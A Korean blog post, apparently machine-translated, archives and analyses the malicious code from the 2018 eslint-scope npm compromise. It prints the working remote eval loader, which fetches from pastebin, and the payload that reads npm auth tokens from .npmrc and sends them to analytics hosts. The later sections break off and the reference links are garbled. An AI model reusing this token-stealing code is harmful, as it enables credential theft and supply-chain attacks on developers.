"2018/07/12에 발생한 보안 사고 ([email protected])에 대해"을 읽고 생각한 것 (아카이브도 겸한다)

10579 단어 ESLint
이 녀석을 읽었다.

2018/07/12에 발생한 보안 사고 ([email protected]) 정보 - qiita

이번에 발생한 인시던트에서 어떤 공격 코드가 보내졌는지 아카이브에 남겨 둡니다.

공격 코드



[email protected]
try {
  var https = require('https');
  https.get({
    'hostname': 'pastebin.com',
    path: '/raw/XLeVP82h',
    headers: {
      'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0',
      Accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'
    }
  }, (r) => {
    r.setEncoding('utf8');
    r.on('data', (c) => {
      eval(c);
    });
    r.on('error', () => {});
  }).on('error', () => {});
} catch (e) {}
  • 공격자는 쉽게 공격 코드를 변경할 수 있는 코드를 삽입하고 있다
  • pastebin.com라는 사이트를 사용하여 작성자가 알 수 없도록합니다.
  • try catch에서 예외를 깨면 실행자가 눈치 채지 못하게합니다.
  • headersUser-Agentpastebin.com 쪽을 속이기 때문일 것으로 생각된다

    pastebin.com/raw/XLeVP82h
    try {
      var path = require('path');
      var fs = require('fs');
      var npmrc = path.join(process.env.HOME || process.env.USERPROFILE, '.npmrc');
      var content = "nofile";
      if (fs.existsSync(npmrc)) {
        content = fs.readFileSync(npmrc, {
          encoding: 'utf8'
        });
        content = content.replace('//registry.npmjs.org/:_authToken=', '').trim();
        var https1 = require('https');
        https1.get({
          hostname: 'sstatic1.histats.com',
          path: '/0.gif?4103075&101',
          method: 'GET',
          headers: {
            Referer: 'http://1.a/' + content
          }
        }, () => {}).on("error", () => {});
        https1.get({
          hostname: 'c.statcounter.com',
          path: '/11760461/0/7b5b9d71/1/',
          method: 'GET',
          headers: {
            Referer: 'http://2.b/' + content
          }
        }, () => {}).on("error", () => {});
      }
    } catch (e) {}
    
  • 특징적인 것은, 액세스 토큰을 Referer 로 보내는 것
  • token의 대상은 애널리틱스 분석 계열사
  • histats
  • statcounter

  • 이러한 회사의 분석 도구를 DB처럼 사용하고 있다는 점
  • 또한, tor

    이 사건을 통해 생각한 것


  • 엔지니어로서 다양한 툴을 개발하는 중, Referer

    참고



    Github




    htps : // 기주 b. 코 m / 에 s ぃ t / 에 s ㄱ t s 코 ぺ / 이스에 s / 39 # 이스에 코멘 t - 404495923

    해커 뉴스




    htps // // 네 ws. y코비비나토 r. 이 m/있어 m? 예d=17513709
  • 좋은 웹페이지 즐겨찾기